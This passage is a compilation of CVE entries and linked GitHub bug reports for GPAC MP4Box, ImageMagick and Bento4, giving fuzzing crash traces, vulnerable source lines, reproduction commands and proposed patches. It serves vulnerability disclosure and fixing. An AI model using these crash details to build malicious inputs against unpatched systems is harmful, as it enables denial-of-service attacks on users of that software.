(GF_ProtectionSchemeInfoBox *) 0x0 ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==4969==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000020 (pc 0x7fd4b273ace9 bp 0x7ffc1d1f1070 sp 0x7ffc1d1f0fc0 T0) ==4969==The signal is caused by a READ memory access. ==4969==Hint: address points to the zero page. #0 0x7fd4b273ace8 in gf_isom_get_original_format_type /src/gpac/src/isomedia/drm_sample.c:540:33 #1 0x7fd4b2961ecc in gf_media_get_rfc_6381_codec_name /src/gpac/src/media_tools/dash_segmenter.c:429:8 #2 0x580975 in DumpTrackInfo /src/gpac/applications/mp4box/filedump.c:2647:3 #3 0x587ca2 in DumpMovieInfo /src/gpac/applications/mp4box/filedump.c:2950:3 #4 0x54d944 in mp4boxMain /src/gpac/applications/mp4box/main.c:4305:9 #5 0x7fd4b112682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x4244e8 in _start (/src/gpac/installed-asan/bin/MP4Box+0x4244e8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/gpac/src/isomedia/drm_sample.c:540:33 in gf_isom_get_original_format_type ==4969==ABORTING ``` ### others from fuzz project None crash name None-00000995-1558597651.mp4 Auto-generated by pyspider at 2019-05-23 16:16:43 please send email to teamseri0us360@gmail.com if you have any questions. ## GetESD@track.c:271-28___null-pointer-dereference ### description An issue was discovered in MP4Box 0.7.1, There is a/an null-pointer-dereference in function GetESD at track.c:271-28 ### commandline MP4Box -info @@ ### source ```c 267 if ( 268 #ifndef GPAC_DISABLE_ISOM_FRAGMENTS 269 moov->mvex && 270 #endif > 271 (esd->decoderConfig->streamType==GF_STREAM_VISUAL)) { 272 esd->slConfig->hasRandomAccessUnitsOnlyFlag = 0; 273 esd->slConfig->useRandomAccessPointFlag = 1; 274 if (trak->moov->mov->openMode!=GF_ISOM_OPEN_READ) 275 stbl->SyncSample = (GF_SyncSampleBox *) gf_isom_box_new(GF_ISOM_BOX_TYPE_STSS); 276 } else { ``` ### mydebug ```c Stopped reason: SIGSEGV 0x00007ffff78a6829 in GetESD (moov=0x656790, trackID=0x2, StreamDescIndex=0x1, outESD=0x7ffffffcbfe0) at isomedia/track.c:271 271 (esd->decoderConfig->streamType==GF_STREAM_VISUAL)) { gdb-peda$ p esd->decoderConfig $1 = (GF_DecoderConfig *) 0x0 ``` ### bug report ```txt [iso file] Unknown box type schh ICC colour profile not supported [iso file] Unknown box type .... [iso file] Incomplete box UNKN [iso file] Incomplete file while reading for dump - aborting parsing * Movie Info * Timescale 90000 - 2 tracks Computed Duration 00:00:00.000 - Indicated Duration 00:00:00.000 Fragmented File: yes - duration 00:00:05.589 1 fragments - 1 SegmentIndexes File suitable for progressive download (moov before mdat) File Brand iso5 - version 1 Compatible brands: avc1 .so5 dash Created: GMT Wed Mar 26 00:20:53 2014 Modified: GMT Wed Mar 26 00:20:54 2014 File has root IOD (9 bytes) Scene PL 0xff - Graphics PL 0xff - OD PL 0xff Visual PL: AVC/H264 Profile (0x7f) Audio PL: High Quality Audio Profile @ Level 2 (0x0f) No streams included in root OD iTunes Info: Encoder Software: HandBrake 0.9.9 2013052900 1 UDTA types: meta (1) Track # 1 Info - TrackID 1 - TimeScale 90000 Media Duration 00:00:00.000 - Indicated Duration 00:00:00.000 Media Info: Language "Undetermined (und)" - Type "vide:encv" - 0 samples Fragmented track: 15 samples - Media Duration 00:00:00.500 Visual Track layout: x=0 y=0 width=560 height=320 MPEG-4 Config: Visual Stream - ObjectTypeIndication 0x21 AVC/H264 Video - Visual Size 560 x 320 AVC Info: 0 SPS - 0 PPS - Profile Baseline @ Level 3 NAL Unit length bits: 32 Chroma format YUV 4:2:0 - Luma bit depth 8 - chroma bit depth 8 Self-synchronized *Encrypted stream - unknown scheme [ISOM Tools] Unkown protection scheme type  RFC6381 Codec Parameters: avc1.42C01E All samples are sync Track # 2 Info - TrackID 2 - TimeScale 48000 Media Duration 00:00:00.000 - Indicated Duration 00:00:00.000 Media Info: Language "English (eng)" - Type "soun:enca" - 0 samples Fragmented track: 24 samples - Media Duration 00:00:00.512 1 UDTA types: name (1) AddressSanitizer:DEADLYSIGNAL ================================================================= ==4998==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7f500d1be119 bp 0x7ffeb6a2b510 sp 0x7ffeb6a2b2c0 T0) ==4998==The signal is caused by a READ memory access. ==4998==Hint: address points to the zero page. #0 0x7f500d1be118 in GetESD /src/gpac/src/isomedia/track.c:271:28 #1 0x7f500d0e230a in gf_isom_get_esd /src/gpac/src/isomedia/isom_read.c:1086:6 #2 0x57946a in DumpTrackInfo /src/gpac/applications/mp4box/filedump.c:2054:9 #3 0x587ca2 in DumpMovieInfo /src/gpac/applications/mp4box/filedump.c:2950:3 #4 0x54d944 in mp4boxMain /src/gpac/applications/mp4box/main.c:4305:9 #5 0x7f500baaa82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x4244e8 in _start (/src/gpac/installed-asan/bin/MP4Box+0x4244e8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /src/gpac/src/isomedia/track.c:271:28 in GetESD ==4998==ABORTING ``` ### others from fuzz project None crash name None-00001079-1558597651.mp4 Auto-generated by pyspider at 2019-05-23 16:16:45 please send email to teamseri0us360@gmail.com if you have any questions. ## ReadGF_IPMPX_RemoveToolNotificationListener@ipmpx_code.c:1103-54___heap-buffer-overflow ### description An issue was discovered in MP4Box 0.7.1, There is a/an heap-buffer-overflow in function ReadGF_IPMPX_RemoveToolNotificationListener at ipmpx_code.c:1103-54 ### commandline MP4Box -info @@ ### source ```c 1099 { 1100 u32 i; 1101 GF_IPMPX_RemoveToolNotificationListener*p = (GF_IPMPX_RemoveToolNotificationListener*)_p; 1102 p->eventTypeCount = gf_bs_read_int(bs, 8); >1103 for (i=0; i<p->eventTypeCount; i++) p->eventType[i] = gf_bs_read_int(bs, 8); 1104 return GF_OK; 1105 } 1106 static u32 SizeGF_IPMPX_RemoveToolNotificationListener(GF_IPMPX_Data *_p) 1107 { 1108 GF_IPMPX_RemoveToolNotificationListener*p = (GF_IPMPX_RemoveToolNotificationListener*)_p; ``` ### bug report ```txt [iso file] Unknown box type .... ================================================================= ==5055==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000023c at pc 0x7fd7187bb791 bp 0x7ffc7c0c1d10 sp 0x7ffc7c0c1d08 WRITE of size 4 at 0x60400000023c thread T0 #0 0x7fd7187bb790 in ReadGF_IPMPX_RemoveToolNotificationListener /src/gpac/src/odf/ipmpx_code.c:1103:54 #1 0x7fd7187bb790 in GF_IPMPX_ReadData /src/gpac/src/odf/ipmpx_code.c:1981 #2 0x7fd7187b42a3 in gf_ipmpx_data_parse /src/gpac/src/odf/ipmpx_code.c:293:6 #3 0x7fd7187bae47 in ReadGF_IPMPX_MutualAuthentication /src/gpac/src/odf/ipmpx_code.c:440:7 #4 0x7fd7187bae47 in GF_IPMPX_ReadData /src/gpac/src/odf/ipmpx_code.c:1985 #5 0x7fd7187b42a3 in gf_ipmpx_data_parse /src/gpac/src/odf/ipmpx_code.c:293:6 #6 0x7fd718790176 in gf_odf_read_ipmp /src/gpac/src/odf/odf_code.c:2421:8 #7 0x7fd71876cf30 in gf_odf_read_descriptor /src/gpac/src/odf/desc_private.c:310:10 #8 0x7fd71876fe7f in gf_odf_parse_descriptor /src/gpac/src/odf/descriptors.c:161:8 #9 0x7fd71879bb29 in gf_odf_desc_read /src/gpac/src/odf/odf_codec.c:302:6 #10 0x7fd71856a82a in esds_Read /src/gpac/src/isomedia/box_code_base.c:1259:7 #11 0x7fd71861bc3c in gf_isom_box_read /src/gpac/src/isomedia/box_funcs.c:1323:9 #12 0x7fd71861bc3c in gf_isom_box_parse_ex /src/gpac/src/isomedia/box_funcs.c:196 #13 0x7fd71857f524 in audio_sample_entry_Read /src/gpac/src/isomedia/box_code_base.c:3952:8 #14 0x7fd71861bc3c in gf_isom_box_read /src/gpac/src/isomedia/box_funcs.c:1323:9 #15 0x7fd71861bc3c in gf_isom_box_parse_ex /src/gpac/src/isomedia/box_funcs.c:196 #16 0x7fd71861dcdf in gf_isom_box_array_read_ex /src/gpac/src/isomedia/box_funcs.c:1217:7 #17 0x7fd71858fdd3 in stsd_Read /src/gpac/src/isomedia/box_code_base.c:5604:9 #18 0x7fd71861bc3c in gf_isom_box_read /src/gpac/src/isomedia/box_funcs.c:1323:9 #19 0x7fd71861bc3c in gf_isom_box_parse_ex /src/gpac/src/isomedia/box_funcs.c:196 #20 0x7fd71861ab97 in gf_isom_parse_root_box /src/gpac/src/isomedia/box_funcs.c:42:8 #21 0x7fd71864182a in gf_isom_parse_movie_boxes /src/gpac/src/isomedia/isom_intern.c:204:7 #22 0x7fd718645e05 in gf_isom_open_file /src/gpac/src/isomedia/isom_intern.c:604:19 #23 0x7fd71864e478 in gf_isom_open /src/gpac/src/isomedia/isom_read.c:412:11 #24 0x54acf5 in mp4boxMain /src/gpac/applications/mp4box/main.c:4106:11 #25 0x7fd71701c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #26 0x4244e8 in _start (/src/gpac/installed-asan/bin/MP4Box+0x4244e8) 0x60400000023c is located 0 bytes to the right of 44-byte region [0x604000000210,0x60400000023c) allocated by thread T0 here: #0 0x4e8718 in malloc /work/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88 #1 0x7fd7187b4c06 in NewGF_IPMPX_RemoveToolNotificationListener /src/gpac/src/odf/ipmpx_code.c:1091:2 #2 0x7fd7187b4c06 in gf_ipmpx_data_new /src/gpac/src/odf/ipmpx_code.c:1714 SUMMARY: AddressSanitizer: heap-buffer-overflow /src/gpac/src/odf/ipmpx_code.c:1103:54 in ReadGF_IPMPX_RemoveToolNotificationListener Shadow bytes around the buggy address: 0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff8000: fa fa 00 00 00 00 00 05 fa fa fd fd fd fd fd fd 0x0c087fff8010: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 0x0c087fff8020: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fd 0x0c087fff8030: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00 =>0x0c087fff8040: fa fa 00 00 00 00 00[04]fa fa fa fa fa fa fa fa 0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5055==ABORTING ``` ### others from fuzz project None crash name None-00001119-1558597651.mp4 Auto-generated by pyspider at 2019-05-23 16:16:46 please send email to teamseri0us360@gmail.com if you have any questions. ## other info ```txt Linux 47851981ba92 3.19.0-79-generic #87~14.04.1-Ubuntu SMP Wed Dec 21 18:12:31 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux clang version 6.0.0 (tags/RELEASE_600/final) Target: x86_64-unknown-linux-gnu with Asan ``` [POC](https://github.com/TeamSeri0us/pocs/tree/master/gpac/MP4Box/vuln)

4 bugs found in gpac v0.7.1 release

https://api.github.com/repos/gpac/gpac/issues/1249/comments

2019-05-27T07:11:13Z

2019-07-10T08:47:22Z

https://github.com/gpac/gpac/issues/1249

CVE-2019-12974

2019-06-26T18:15:10.167

A NULL pointer dereference in the function ReadPANGOImage in coders/pango.c and the function ReadVIDImage in coders/vid.c in ImageMagick 7.0.8-34 allows remote attackers to cause a denial of service via a crafted image.

https://github.com/ImageMagick/ImageMagick/issues/1515

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a null pointer deference vulnerablity in function ReadPANGOImage in coders/pango.c ``` option=GetImageOption(image_info,"filename"); if (option == (const char *) NULL) property=InterpretImageProperties((ImageInfo *) image_info,image, image_info->filename,exception); else if (LocaleNCompare(option,"pango:",6) == 0) property=InterpretImageProperties((ImageInfo *) image_info,image,option+6, exception); else property=InterpretImageProperties((ImageInfo *) image_info,image,option, exception); (void) SetImageProperty(image,"caption",property,exception); ``` (https://github.com/ImageMagick/ImageMagick/blob/master/coders/pango.c#L202) The return value of InterpretImageProperties may be NULL, and then there is a null pointer deference. See https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=6152 and https://github.com/ImageMagick/ImageMagick/commit/93a9ccc85bd62b21bc4246fc6a8c2b7a32f8d678 for details.

Null pointer deference in function ReadPANGOImage in coders/pango.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1515/comments

2019-03-21T03:25:02Z

2019-06-27T01:28:59Z

https://github.com/ImageMagick/ImageMagick/issues/1515

CVE-2019-12975

2019-06-26T18:15:10.213

ImageMagick 7.0.8-34 has a memory leak vulnerability in the WriteDPXImage function in coders/dpx.c.

https://github.com/ImageMagick/ImageMagick/issues/1517

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a possible but rare memory leak in function `WriteDPXImage` in coders/dpx.c. ``` pixels=(unsigned char *) GetQuantumPixels(quantum_info); for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1,exception); if (p == (const Quantum *) NULL) break; (void) ExportQuantumPixels(image,(CacheView *) NULL,quantum_info, quantum_type,pixels,exception); count=WriteBlob(image,extent,pixels); if (count != (ssize_t) extent) break; status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y, image->rows); if (status == MagickFalse) break; } quantum_info=DestroyQuantumInfo(quantum_info); (void) CloseBlob(image); return(status); ``` We should call `ThrowWriterException(CorruptImageError,"UnableToWriteImageData");` when condition `y < (ssize_t) image->rows` satisfies behind for-loop. See commit https://github.com/ImageMagick/ImageMagick/commit/f1cc2eb986dc8f4a7727bce689a17566f896fde6 for more details.

Possible but rare memory leak in function WriteDPXImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1517/comments

2019-03-21T06:25:46Z

2019-06-27T01:29:21Z

https://github.com/ImageMagick/ImageMagick/issues/1517

CVE-2019-12976

2019-06-26T18:15:10.277

ImageMagick 7.0.8-34 has a memory leak in the ReadPCLImage function in coders/pcl.c.

https://github.com/ImageMagick/ImageMagick/issues/1520

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a memory leak in function ReadPCLImage in coders/pcl.c. ``` (void) FormatLocaleString(geometry,MagickPathExtent,"%.20gx%.20g",(double) page.width,(double) page.height); if (image_info->monochrome != MagickFalse) delegate_info=GetDelegateInfo("pcl:mono",(char *) NULL,exception); else if (cmyk != MagickFalse) delegate_info=GetDelegateInfo("pcl:cmyk",(char *) NULL,exception); else delegate_info=GetDelegateInfo("pcl:color",(char *) NULL,exception); if (delegate_info == (const DelegateInfo *) NULL) return((Image *) NULL); ``` We should call `DestroyImage` before return statement. ``` if (delegate_info == (const DelegateInfo *) NULL) - return((Image *) NULL); + { + image=DestroyImage(image); + return((Image *) NULL); + } ```

Memory leak in function ReadPCLImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1520/comments

2019-03-21T07:25:10Z

2019-06-27T01:29:46Z

https://github.com/ImageMagick/ImageMagick/issues/1520

CVE-2019-12977

2019-06-26T18:15:10.323

ImageMagick 7.0.8-34 has a "use of uninitialized value" vulnerability in the WriteJP2Image function in coders/jp2.c.

https://github.com/ImageMagick/ImageMagick/issues/1518

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There a use-of-uninitialized-value vulnerability in function WriteJP2Image in coders/jp2.c. ``` if (image_info->extract != (char *) NULL) { RectangleInfo geometry; int flags; /* Set tile size. */ flags=ParseAbsoluteGeometry(image_info->extract,&geometry); parameters.cp_tdx=(int) geometry.width; parameters.cp_tdy=(int) geometry.width; if ((flags & HeightValue) != 0) parameters.cp_tdy=(int) geometry.height; if ((flags & XValue) != 0) parameters.cp_tx0=geometry.x; if ((flags & YValue) != 0) parameters.cp_ty0=geometry.y; parameters.tile_size_on=OPJ_TRUE; } ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/jp2.c#L853 We should call `(void) memset(&geometry,0,sizeof(geometry));` after declaration. See https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=6441, https://github.com/ImageMagick/ImageMagick/commit/eeb68ee77dfb2b508284e4ea7d49e8b807d32783 and 81bfff2759854654bf07e452bf3b9b329f3c55e5 for detail.

Use-of-uninitialized-value in function WriteJP2Image

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1518/comments

2019-03-21T06:44:34Z

2019-06-27T01:30:10Z

https://github.com/ImageMagick/ImageMagick/issues/1518

CVE-2019-12978

2019-06-26T18:15:10.370

ImageMagick 7.0.8-34 has a "use of uninitialized value" vulnerability in the ReadPANGOImage function in coders/pango.c.

https://github.com/ImageMagick/ImageMagick/issues/1519

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There a use-of-uninitialized-value vulnerability in function ReadPANGOImage in coders/pango.c. ``` assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); (void) ResetImagePage(image,"0x0+0+0"); ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/pango.c#L179 We should call `SetImageBackgroundColor` when condition `image->columns !=0 && image->rows !=0` satisfies. Otherwise, there will be a use-of-unintialized-value vulnerablity. See https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=11930, https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=6616, https://github.com/ImageMagick/ImageMagick/commit/18df5773b5efbd2c9dc54c9caa021febf486bd22 and https://github.com/ImageMagick/ImageMagick/commit/f1fb7816a60c7c68d7ac037975c5aa95b6dcf8dd for more details.

Use-of-uninitialized-value in function ReadPANGOImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1519/comments

2019-03-21T06:54:58Z

2019-06-27T01:30:41Z

https://github.com/ImageMagick/ImageMagick/issues/1519

CVE-2019-12979

2019-06-26T18:15:10.417

ImageMagick 7.0.8-34 has a "use of uninitialized value" vulnerability in the SyncImageSettings function in MagickCore/image.c. This is related to AcquireImage in magick/image.c.

https://github.com/ImageMagick/ImageMagick/issues/1522

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is an issue in function SyncImageSettings in MagickCore/image.c. The issue is similar to https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=6385 which was fixed in https://github.com/ImageMagick/ImageMagick/commit/56a19e7ae07f40299f3afd4994d690f2c9b81993. ``` if (image_info->density != (char *) NULL) { GeometryInfo geometry_info; flags=ParseGeometry(image_info->density,&geometry_info); image->resolution.x=geometry_info.rho; image->resolution.y=geometry_info.sigma; if ((flags & SigmaValue) == 0) image->resolution.y=image->resolution.x; } ``` Below is the proposal patch. ``` - image->resolution.x=geometry_info.rho; - image->resolution.y=geometry_info.sigma; - if ((flags & SigmaValue) == 0) - image->resolution.y=image->resolution.x; + if ((flags & RhoValue) != 0) + image->resolution.x=geometry_info.rho; + image->resolution.y=image->resolution.x; + if ((flags & SigmaValue) != 0) + image->resolution.y=geometry_info.sigma; ```

Use-of-uninitialized-value in function SyncImageSettings.

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1522/comments

2019-03-21T11:58:29Z

2019-08-10T06:30:27Z

https://github.com/ImageMagick/ImageMagick/issues/1522

CVE-2019-13133

2019-07-01T20:15:11.180

ImageMagick before 7.0.8-50 has a memory leak vulnerability in the function ReadBMPImage in coders/bmp.c.

https://github.com/ImageMagick/ImageMagick/issues/1600

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There are two memory leak issues in ReadBMPImage in coder/bmp.c and ReadVIFFImage in coder/viff.c. There is a patch https://github.com/ImageMagick/ImageMagick/commit/3b48d20df53ad048af05107aa1850c344466b082, which fixed multiple memory leak vulnerabilities. However, the patch for ReadBMPImage is wrong. ``` if (GetNextImageInList(image) == (Image *) NULL) { - image=DestroyImageList(image); + status=MagickFalse; return((Image *) NULL); } ``` Below is the correct logic. ``` if (GetNextImageInList(image) == (Image *) NULL) { - image=DestroyImageList(image); - return((Image *) NULL); + status=MagickFalse; + break; } ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/bmp.c#L1508 At the same time, there is the same issue in ReadVIFFImage. ``` if (GetNextImageInList(image) == (Image *) NULL) { image=DestroyImageList(image); return((Image *) NULL); } ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/viff.c#L774 ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: - Environment (Operating system, version and so on): - Additional information: <!-- Thanks for reporting the issue to ImageMagick! -->

Memory leak in ReadBMPImage in coder/bmp.c and ReadVIFFImage in coder/viff.c.

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1600/comments

2019-06-18T10:55:16Z

2019-07-03T01:29:51Z

https://github.com/ImageMagick/ImageMagick/issues/1600

CVE-2019-13135

2019-07-01T20:15:11.337

ImageMagick before 7.0.8-50 has a "use of uninitialized value" vulnerability in the function ReadCUTImage in coders/cut.c.

https://github.com/ImageMagick/ImageMagick/issues/1599

github.com

### Prerequisites - [ y ] I have written a descriptive issue title - [ y ] I have verified that I am using the latest version of ImageMagick - [ y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> ``` /* ----- Load RLE compressed raster ----- */ BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk, sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/ if(BImgBuff==NULL) goto NoMemory; offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET); ``` (https://github.com/ImageMagick/ImageMagick/blob/master/coders/cut.c#L552) We should initialize the BImgBuff, otherwise an use-of-uninitialized vulnerability occurs, which is similar to https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=6780 (fixed in https://github.com/ImageMagick/ImageMagick/commit/a85ab26099152be3dab0bd377670abfc815b9fe7 and https://github.com/ImageMagick/ImageMagick/commit/81bfff2759854654bf07e452bf3b9b329f3c55e5 ) and https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=5710 (fixed in https://github.com/ImageMagick/ImageMagick/commit/ce433f8048b120b2a0413b4ac3ef59fca35a9788 and https://github.com/ImageMagick/ImageMagick/commit/81bfff2759854654bf07e452bf3b9b329f3c55e5). <!-- Thanks for reporting the issue to ImageMagick! -->

Use of uninitialized value in function ReadCUTImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1599/comments

2019-06-18T10:33:40Z

2019-07-03T01:30:23Z

https://github.com/ImageMagick/ImageMagick/issues/1599

CVE-2019-13136

2019-07-01T20:15:11.417

ImageMagick before 7.0.8-50 has an integer overflow vulnerability in the function TIFFSeekCustomStream in coders/tiff.c.

https://github.com/ImageMagick/ImageMagick/issues/1602

github.com

### Prerequisites - [ y ] I have written a descriptive issue title - [ y ] I have verified that I am using the latest version of ImageMagick - [ y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a possible integer overflow vulnerability in TIFFSeekCustomStream in coder/tiff.c ``` case SEEK_CUR: { if ((profile->offset+offset) < 0) return(-1); profile->offset+=offset; break; } ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/tiff.c#L259 This issue is similar to the one which was fixed in https://github.com/ImageMagick/ImageMagick/commit/8b28a8708ca994c7c9f211d562a8109621cf4d15 and https://github.com/ImageMagick/ImageMagick/commit/114be1716d0a8a10df6f772ef558968a2ad9ab68.

Possible integer overflow in TIFFSeekCustomStream in coder/tiff.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1602/comments

2019-06-18T11:47:50Z

2019-07-03T01:30:44Z

https://github.com/ImageMagick/ImageMagick/issues/1602

CVE-2019-13137

2019-07-01T20:15:11.493

ImageMagick before 7.0.8-50 has a memory leak vulnerability in the function ReadPSImage in coders/ps.c.

https://github.com/ImageMagick/ImageMagick/issues/1601

github.com

### Prerequisites - [ Y ] I have written a descriptive issue title - [ Y ] I have verified that I am using the latest version of ImageMagick - [ Y ] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a memory leak issue in ReadPSImage in coder/ps.c ``` page_geometry=GetPageGeometry(option); flags=ParseMetaGeometry(page_geometry,&page.x,&page.y,&page.width, &page.height); if (flags == NoValue) { (void) ThrowMagickException(exception,GetMagickModule(),OptionError, "InvalidGeometry","`%s'",option); image=DestroyImage(image); return((Image *) NULL); } page.width=(size_t) ceil((double) (page.width*image->resolution.x/delta.x) -0.5); page.height=(size_t) ceil((double) (page.height*image->resolution.y/ delta.y) -0.5); page_geometry=DestroyString(page_geometry); fitPage=MagickTrue; ``` https://github.com/ImageMagick/ImageMagick/blob/master/coders/ps.c#L740 It is possible that page_geometry is not destroyed since there is a return statement before it. It is the issue which is similar to the one fixed in https://github.com/ImageMagick/ImageMagick/commit/15be797d622655244e4c57cc5e9e4cba013011f8

Memory leak in ReadPSImage in coder/ps.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1601/comments

2019-06-18T11:02:58Z

2019-07-03T01:31:05Z

https://github.com/ImageMagick/ImageMagick/issues/1601

CVE-2019-13238

2019-07-04T14:15:10.853

An issue was discovered in Bento4 1.5.1.0. A memory allocation failure is unhandled in Core/Ap4SdpAtom.cpp and leads to crashes. When parsing input video, the program allocates a new buffer to parse an atom in the stream. The unhandled memory allocation failure causes a direct copy to a NULL pointer.

https://github.com/axiomatic-systems/Bento4/issues/396

github.com

A memory allocation failure unhandled in Ap4SdpAtom.cpp and leads to crashes. `./mp42aac input_file /dev/null` In file Source/C++/Core/Ap4SdpAtom.cpp <img width="640" alt="image" src="https://user-images.githubusercontent.com/7632714/58334121-73c1dd80-7e71-11e9-88a2-c9fbd2129068.png"> AP4_SdpAtom allocate a new buffer to parse the atom in the stream. The unhandled memory allocation failure cause the read content memcpy to a null pointer. <img width="553" alt="image" src="https://user-images.githubusercontent.com/7632714/58333799-d23a8c00-7e70-11e9-9bc3-89b928919860.png"> This is the start points. In file In file Source/C++/Core/Ap4ByteStream.cpp   AP4_CopyMemory is the macro define of memcpy and the path formed. Asan trace report: > ==79431==AddressSanitizer CHECK failed: ../../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0xf725e797 (/usr/lib32/libasan.so.2+0x9f797) #1 0xf7263a69 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib32/libasan.so.2+0xa4a69) #2 